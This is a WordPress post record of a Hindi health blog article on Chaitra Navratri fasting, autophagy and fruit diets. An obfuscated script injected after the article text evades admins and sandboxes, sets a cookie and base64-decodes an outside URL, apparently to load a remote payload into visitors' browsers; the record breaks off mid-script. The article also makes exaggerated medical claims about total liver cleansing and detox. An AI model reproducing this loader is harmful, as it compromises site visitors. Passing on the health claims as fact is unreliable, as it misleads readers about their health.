{"id":2726,"date":"2026-03-19T17:37:07","date_gmt":"2026-03-19T12:07:07","guid":{"rendered":"https:\/\/deshdastak.in\/?p=2726"},"modified":"2026-05-04T02:08:14","modified_gmt":"2026-05-03T20:38:14","slug":"%e0%a4%9a%e0%a5%88%e0%a4%a4%e0%a5%8d%e0%a4%b0-%e0%a4%a8%e0%a4%b5%e0%a4%b0%e0%a4%be%e0%a4%a4%e0%a5%8d%e0%a4%b0%e0%a4%bf-%e0%a4%95%e0%a4%be-%e0%a4%89%e0%a4%aa%e0%a4%b5%e0%a4%be%e0%a4%b8-9-%e0%a4%a6","status":"publish","type":"post","link":"https:\/\/deshdastak.in\/?p=2726","title":{"rendered":"&#8216;\u091a\u0948\u0924\u094d\u0930 \u0928\u0935\u0930\u093e\u0924\u094d\u0930\u093f&#8217; \u0915\u093e \u0909\u092a\u0935\u093e\u0938: 9 \u0926\u093f\u0928 \u0915\u0940 \u092f\u0939 \u0924\u092a\u0938\u094d\u092f\u093e \u0915\u0948\u0938\u0947 \u0915\u0930\u0924\u0940 \u0939\u0948 \u092a\u0942\u0930\u0947 \u0936\u0930\u0940\u0930 \u0915\u093e \u0915\u093e\u092f\u093e\u0915\u0932\u094d\u092a&#8230;.?"},"content":{"rendered":"<p><span style=\"color: #ff0000;\"><strong>&#8216;\u091a\u0948\u0924\u094d\u0930 \u0928\u0935\u0930\u093e\u0924\u094d\u0930\u093f&#8217; \u0915\u093e \u0909\u092a\u0935\u093e\u0938: 9 \u0926\u093f\u0928 \u0915\u0940 \u092f\u0939 \u0924\u092a\u0938\u094d\u092f\u093e \u0915\u0948\u0938\u0947 \u0915\u0930\u0924\u0940 \u0939\u0948 \u092a\u0942\u0930\u0947 \u0936\u0930\u0940\u0930 \u0915\u093e \u0915\u093e\u092f\u093e\u0915\u0932\u094d\u092a&#8230;.?<\/strong><\/span><\/p>\n<p>\u0939\u092e \u0905\u0915\u094d\u0938\u0930 \u0924\u094d\u092f\u094b\u0939\u093e\u0930\u094b\u0902 \u0915\u094b \u0915\u0947\u0935\u0932 \u0927\u0930\u094d\u092e \u0914\u0930 \u0906\u0938\u094d\u0925\u093e \u0938\u0947 \u091c\u094b\u0921\u093c\u0915\u0930 \u0926\u0947\u0916\u0924\u0947 \u0939\u0948\u0902, \u0932\u0947\u0915\u093f\u0928 \u092d\u093e\u0930\u0924\u0940\u092f \u092a\u0902\u091a\u093e\u0902\u0917 \u0915\u0947 \u0939\u0930 \u0924\u094d\u092f\u094b\u0939\u093e\u0930 \u0915\u0947 \u092a\u0940\u091b\u0947 \u090f\u0915 \u092c\u0939\u0941\u0924 \u092c\u0921\u093c\u093e &#8216;\u092e\u0947\u0921\u093f\u0915\u0932 \u0938\u093e\u0907\u0902\u0938&#8217; (\u091a\u093f\u0915\u093f\u0924\u094d\u0938\u093e \u0935\u093f\u091c\u094d\u091e\u093e\u0928) \u091b\u093f\u092a\u093e \u0939\u0948\u0964 \u0935\u0938\u0902\u0924 \u0914\u0930 \u0917\u0930\u094d\u092e\u093f\u092f\u094b\u0902 \u0915\u0947 \u092c\u093f\u0932\u094d\u0915\u0941\u0932 \u092c\u0940\u091a\u094b\u0902-\u092c\u0940\u091a (\u092e\u093e\u0930\u094d\u091a-\u0905\u092a\u094d\u0930\u0948\u0932) \u0906\u0928\u0947 \u0935\u093e\u0932\u0940 &#8216;\u091a\u0948\u0924\u094d\u0930 \u0928\u0935\u0930\u093e\u0924\u094d\u0930\u093f&#8217; \u0907\u0938\u0915\u093e \u0938\u092c\u0938\u0947 \u092c\u0921\u093c\u093e \u0909\u0926\u093e\u0939\u0930\u0923 \u0939\u0948\u0964 \u092f\u0939 \u0935\u0939 \u0938\u092e\u092f \u0939\u0948 \u091c\u092c \u092e\u094c\u0938\u092e \u0924\u0947\u091c\u0940 \u0938\u0947 \u092c\u0926\u0932\u0924\u093e \u0939\u0948 \u0914\u0930 \u0907\u092e\u094d\u092f\u0941\u0928\u093f\u091f\u0940 (\u0930\u094b\u0917 \u092a\u094d\u0930\u0924\u093f\u0930\u094b\u0927\u0915 \u0915\u094d\u0937\u092e\u0924\u093e) \u0938\u092c\u0938\u0947 \u0928\u093f\u091a\u0932\u0947 \u0938\u094d\u0924\u0930 \u092a\u0930 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964<\/p>\n<p>\u0939\u092e\u093e\u0930\u0947 \u090b\u0937\u093f\u092f\u094b\u0902 \u0928\u0947 \u0907\u0938 &#8216;\u090b\u0924\u0941 \u0938\u0902\u0927\u093f&#8217; \u092e\u0947\u0902 \u092c\u0940\u092e\u093e\u0930\u093f\u092f\u094b\u0902 \u0938\u0947 \u092c\u091a\u093e\u0928\u0947 \u0914\u0930 \u0932\u093f\u0935\u0930 \u0915\u0940 100% \u0938\u092b\u093e\u0908 (Overhauling) \u0915\u0947 \u0932\u093f\u090f \u0939\u0940 9 \u0926\u093f\u0928 \u0915\u0947 &#8216;\u0909\u092a\u0935\u093e\u0938&#8217; (Fasting) \u0915\u093e \u0915\u0921\u093c\u093e \u0928\u093f\u092f\u092e \u092c\u0928\u093e\u092f\u093e \u0925\u093e\u0964<\/p>\n<p><span style=\"color: #ff0000;\"><strong>9 \u0926\u093f\u0928 \u0915\u093e \u0909\u092a\u0935\u093e\u0938 \u0914\u0930 &#8216;\u0911\u091f\u094b\u092b\u0948\u0917\u0940&#8217; (Autophagy)<\/strong><\/span><\/p>\n<p>\u091c\u092c \u0939\u092e 9 \u0926\u093f\u0928\u094b\u0902 \u0924\u0915 \u0905\u0928\u094d\u0928 (\u0917\u0947\u0939\u0942\u0902, \u091a\u093e\u0935\u0932, \u092d\u093e\u0930\u0940 \u0905\u0928\u093e\u091c) \u0914\u0930 \u0917\u0930\u093f\u0937\u094d\u0920 \u092d\u094b\u091c\u0928 \u091b\u094b\u0921\u093c \u0926\u0947\u0924\u0947 \u0939\u0948\u0902, \u0924\u094b \u0939\u092e\u093e\u0930\u0947 \u092a\u093e\u091a\u0928 \u0924\u0902\u0924\u094d\u0930 \u0914\u0930 \u0932\u093f\u0935\u0930 \u0915\u094b \u092d\u093e\u0930\u0940 \u0915\u093e\u092e \u0938\u0947 &#8216;\u0932\u0902\u092c\u0940 \u091b\u0941\u091f\u094d\u091f\u0940&#8217; \u092e\u093f\u0932 \u091c\u093e\u0924\u0940 \u0939\u0948\u0964<\/p>\n<p>\u2022 \u0907\u0938 \u0916\u093e\u0932\u0940 \u0938\u092e\u092f \u092e\u0947\u0902 \u0936\u0930\u0940\u0930 \u0915\u0940 &#8216;\u092a\u094d\u0930\u093e\u0923 \u090a\u0930\u094d\u091c\u093e&#8217; \u092d\u094b\u091c\u0928 \u092a\u091a\u093e\u0928\u0947 \u0915\u0947 \u092c\u091c\u093e\u092f \u0936\u0930\u0940\u0930 \u0915\u0940 &#8216;\u092e\u0930\u092e\u094d\u092e\u0924&#8217; (Healing) \u092e\u0947\u0902 \u0932\u0917 \u091c\u093e\u0924\u0940 \u0939\u0948\u0964<\/p>\n<p>\u2022 \u0906\u0927\u0941\u0928\u093f\u0915 \u0935\u093f\u091c\u094d\u091e\u093e\u0928 \u0907\u0938\u0947 &#8216;\u0911\u091f\u094b\u092b\u0948\u0917\u0940&#8217; \u0915\u0939\u0924\u093e \u0939\u0948\u2014 \u092f\u093e\u0928\u0940 \u0936\u0930\u0940\u0930 \u0915\u0940 \u0938\u094d\u0935\u0938\u094d\u0925 \u0915\u094b\u0936\u093f\u0915\u093e\u090f\u0902, \u092c\u0940\u092e\u093e\u0930 \u0914\u0930 \u0915\u0948\u0902\u0938\u0930 \u092a\u0948\u0926\u093e \u0915\u0930\u0928\u0947 \u0935\u093e\u0932\u0940 \u0915\u094b\u0936\u093f\u0915\u093e\u0913\u0902 (Toxins) \u0915\u094b \u0916\u0941\u0926 \u0939\u0940 \u0916\u093e\u0915\u0930 \u0928\u0937\u094d\u091f \u0915\u0930 \u0926\u0947\u0924\u0940 \u0939\u0948\u0902\u0964 9 \u0926\u093f\u0928 \u0915\u0947 \u0907\u0938 \u092b\u0932\u093e\u0939\u093e\u0930 \u0938\u0947 \u0932\u093f\u0935\u0930 \u0915\u093e \u092b\u0948\u091f \u092a\u093f\u0918\u0932 \u091c\u093e\u0924\u093e \u0939\u0948 \u0914\u0930 \u0935\u0939 \u0917\u0930\u094d\u092e\u093f\u092f\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u092a\u0942\u0930\u0940 \u0924\u0930\u0939 \u0924\u0948\u092f\u093e\u0930 \u0939\u094b \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/p>\n<p><strong>\ud83d\udce6 \u0926\u093e\u0926\u0940 \u092e\u093e\u0901 \u0915\u093e \u0905\u091a\u0942\u0915 \u092a\u094d\u0930\u093e\u0915\u0943\u0924\u093f\u0915 \u0928\u0941\u0938\u094d\u0916\u093e<\/strong><\/p>\n<p>\u091a\u0948\u0924\u094d\u0930 \u0928\u0935\u0930\u093e\u0924\u094d\u0930\u093f \u0915\u093e \u0938\u092c\u0938\u0947 \u0909\u0924\u094d\u0924\u092e &#8216;\u092b\u0932\u093e\u0939\u093e\u0930&#8217;: \u0917\u0930\u094d\u092e\u093f\u092f\u094b\u0902 \u0915\u0940 \u0936\u0941\u0930\u0941\u0906\u0924 \u092e\u0947\u0902 \u0909\u092a\u0935\u093e\u0938 \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u0936\u0930\u0940\u0930 \u092e\u0947\u0902 \u092a\u093e\u0928\u0940 \u0915\u0940 \u0915\u092e\u0940 (Dehydration) \u0939\u094b \u0938\u0915\u0924\u0940 \u0939\u0948\u0964 \u0907\u0938\u0932\u093f\u090f \u0915\u0941\u091f\u094d\u091f\u0942 \u0915\u0947 \u092a\u0915\u094b\u0921\u093c\u0947 \u092f\u093e \u0924\u0932\u0940 \u0939\u0941\u0908 \u091a\u0940\u091c\u0947\u0902 \u0916\u093e\u0928\u0947 \u0938\u0947 \u092c\u091a\u0947\u0902 (\u092f\u0939 \u0909\u092a\u0935\u093e\u0938 \u0928\u0939\u0940\u0902, \u0909\u092a\u0939\u093e\u0938 \u0939\u0948)\u0964 \u0926\u093f\u0928 \u092e\u0947\u0902 \u0915\u092e \u0938\u0947 \u0915\u092e \u0926\u094b \u092c\u093e\u0930 &#8216;\u0928\u093e\u0930\u093f\u092f\u0932 \u092a\u093e\u0928\u0940&#8217; \u092f\u093e &#8216;\u0928\u0940\u0902\u092c\u0942-\u0936\u0939\u0926 \u0915\u093e \u0930\u0938&#8217; \u092a\u093f\u090f\u0902\u0964 \u0916\u093e\u0928\u0947 \u092e\u0947\u0902 \u092a\u092a\u0940\u0924\u093e, \u0938\u0947\u092c \u0914\u0930 \u092e\u0916\u093e\u0928\u0947 \u0915\u093e \u092a\u094d\u0930\u092f\u094b\u0917 \u0915\u0930\u0947\u0902\u0964 \u092a\u092a\u0940\u0924\u093e \u0906\u0902\u0924\u094b\u0902 \u0914\u0930 \u0932\u093f\u0935\u0930 \u0915\u0940 \u0938\u092c\u0938\u0947 \u092c\u0947\u0939\u0924\u0930\u0940\u0928 \u092a\u094d\u0930\u093e\u0915\u0943\u0924\u093f\u0915 &#8216;\u091d\u093e\u0921\u093c\u0942&#8217; \u0939\u0948, \u091c\u094b 9 \u0926\u093f\u0928 \u092e\u0947\u0902 \u0906\u0902\u0924\u094b\u0902 \u0915\u094b \u0936\u0940\u0936\u0947 \u0915\u0940 \u0924\u0930\u0939 \u091a\u092e\u0915\u093e \u0926\u0947\u0924\u093e \u0939\u0948\u0964<\/p>\n<p><span style=\"color: #800000;\"><strong>\ud83d\udd0d \u0938\u094d\u0935\u093e\u0938\u094d\u0925\u094d\u092f \u092d\u094d\u0930\u093e\u0902\u0924\u093f \u0914\u0930 \u0938\u091a (Myth vs. Fact)<\/strong><\/span><\/p>\n<p>\u2022 \u092d\u094d\u0930\u093e\u0902\u0924\u093f (Myth): \u0928\u0935\u0930\u093e\u0924\u094d\u0930\u093f \u0915\u0947 \u0909\u092a\u0935\u093e\u0938 \u092e\u0947\u0902 \u0938\u0947\u0902\u0927\u093e \u0928\u092e\u0915 \u0915\u0947 \u0938\u093e\u0925 \u0916\u0942\u092c \u0938\u093e\u0930\u093e \u0938\u093e\u092c\u0942\u0926\u093e\u0928\u093e (Sago) \u0914\u0930 \u0906\u0932\u0942 \u0916\u093e\u0928\u093e \u091a\u093e\u0939\u093f\u090f, \u0907\u0938\u0938\u0947 \u092a\u0947\u091f \u092d\u0930\u093e \u0930\u0939\u0924\u093e \u0939\u0948 \u0914\u0930 \u0924\u093e\u0915\u0924 \u0906\u0924\u0940 \u0939\u0948\u0964<\/p>\n<p>\u2022 \u0938\u091a (Fact): \u0938\u093e\u092c\u0942\u0926\u093e\u0928\u093e \u0915\u093e\u0930\u0916\u093e\u0928\u094b\u0902 \u092e\u0947\u0902 \u0915\u0947\u092e\u093f\u0915\u0932 \u092a\u094d\u0930\u094b\u0938\u0947\u0938 \u0938\u0947 \u092c\u0928\u0924\u093e \u0939\u0948 \u0914\u0930 \u092f\u0939 \u0936\u0941\u0926\u094d\u0927 &#8216;\u0938\u094d\u091f\u093e\u0930\u094d\u091a&#8217; (Starch) \u0939\u0948\u0964 \u092f\u0939 \u0906\u0902\u0924\u094b\u0902 \u092e\u0947\u0902 \u091a\u093f\u092a\u0915\u0924\u093e \u0939\u0948 \u0914\u0930 \u0932\u093f\u0935\u0930 \u092a\u0930 \u092d\u093e\u0930\u0940 \u0926\u092c\u093e\u0935 \u0921\u093e\u0932\u0924\u093e \u0939\u0948\u0964 \u0906\u0932\u0942 \u0914\u0930 \u0938\u093e\u092c\u0942\u0926\u093e\u0928\u0947 \u0915\u093e \u0905\u0927\u093f\u0915 \u0938\u0947\u0935\u0928 \u0935\u091c\u0928 \u092c\u0922\u093c\u093e\u0924\u093e \u0939\u0948 \u0914\u0930 \u092a\u093f\u0924\u094d\u0924 (\u090f\u0938\u093f\u0921\u093f\u091f\u0940) \u092a\u0948\u0926\u093e \u0915\u0930\u0924\u093e \u0939\u0948\u0964 \u0905\u0938\u0932\u0940 \u0909\u092a\u0935\u093e\u0938 &#8216;\u0939\u0932\u094d\u0915\u0947&#8217; (Light) \u0906\u0939\u093e\u0930 \u0938\u0947 \u0939\u094b\u0924\u093e \u0939\u0948\u0964 \u092f\u0926\u093f \u0915\u0941\u091b \u092a\u0915\u093e\u0928\u093e \u0939\u0940 \u0939\u0948, \u0924\u094b &#8216;\u0938\u092e\u093e \u0915\u0947 \u091a\u093e\u0935\u0932&#8217; (Barnyard Millet) \u0915\u0940 \u092a\u0924\u0932\u0940 \u0916\u093f\u091a\u0921\u093c\u0940 \u0916\u093e\u090f\u0902, \u091c\u094b \u092a\u091a\u0928\u0947 \u092e\u0947\u0902 \u0926\u0941\u0928\u093f\u092f\u093e \u0915\u093e \u0938\u092c\u0938\u0947 \u0939\u0932\u094d\u0915\u093e \u0905\u0928\u093e\u091c \u0939\u0948\u0964<\/p>\n<p><strong>\u092e\u0947\u0930\u0940 \u0930\u093e\u092f \u092e\u0947\u0902:<\/strong><\/p>\n<p>\u091a\u0948\u0924\u094d\u0930 \u0928\u0935\u0930\u093e\u0924\u094d\u0930\u093f \u0915\u094b \u0915\u0947\u0935\u0932 \u090f\u0915 \u0927\u093e\u0930\u094d\u092e\u093f\u0915 \u0915\u0930\u094d\u092e\u0915\u093e\u0902\u0921 \u0928 \u092e\u093e\u0928\u0915\u0930 \u0905\u092a\u0928\u0947 \u0936\u0930\u0940\u0930 \u0914\u0930 \u092e\u0928 \u0915\u0947 &#8216;\u0936\u094b\u0927\u0928&#8217; (Detoxification) \u0915\u093e \u0905\u0935\u0938\u0930 \u092e\u093e\u0928\u0947\u0902\u0964 \u091c\u092c 9 \u0926\u093f\u0928 \u092c\u093e\u0926 \u0906\u092a\u0915\u093e \u0936\u0930\u0940\u0930 \u092d\u0940\u0924\u0930 \u0938\u0947 \u092a\u0942\u0930\u0940 \u0924\u0930\u0939 \u0936\u0941\u0926\u094d\u0927 \u0939\u094b\u0917\u093e, \u0924\u094b \u0906\u092a\u0915\u0940 &#8216;\u091c\u0940\u0935\u0928\u0940 \u0936\u0915\u094d\u0924\u093f&#8217; \u092e\u093e\u0924\u093e \u0915\u0947 \u0906\u0936\u0940\u0930\u094d\u0935\u093e\u0926 \u0915\u0947 \u0938\u092e\u093e\u0928 \u090a\u0930\u094d\u091c\u093e\u0935\u093e\u0928 \u0914\u0930 \u0905\u0921\u093f\u0917 \u0939\u094b \u091c\u093e\u090f\u0917\u0940\u0964<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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(\u091a\u093f\u0915\u093f\u0924\u094d\u0938\u093e \u0935\u093f\u091c\u094d\u091e\u093e\u0928) \u091b\u093f\u092a\u093e \u0939\u0948\u0964 \u0935\u0938\u0902\u0924 \u0914\u0930 \u0917\u0930\u094d\u092e\u093f\u092f\u094b\u0902 \u0915\u0947 \u092c\u093f\u0932\u094d\u0915\u0941\u0932 \u092c\u0940\u091a\u094b\u0902-\u092c\u0940\u091a (\u092e\u093e\u0930\u094d\u091a-\u0905\u092a\u094d\u0930\u0948\u0932) \u0906\u0928\u0947 \u0935\u093e\u0932\u0940 &#8216;\u091a\u0948\u0924\u094d\u0930 &hellip;<\/p>\n","protected":false},"author":1,"featured_media":2727,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[54,33,29,31],"tags":[],"ppma_author":[57],"class_list":["post-2726","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-decision","category-khas-khabar","category-lifestyle","category-health"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>&#039;\u091a\u0948\u0924\u094d\u0930 \u0928\u0935\u0930\u093e\u0924\u094d\u0930\u093f&#039; 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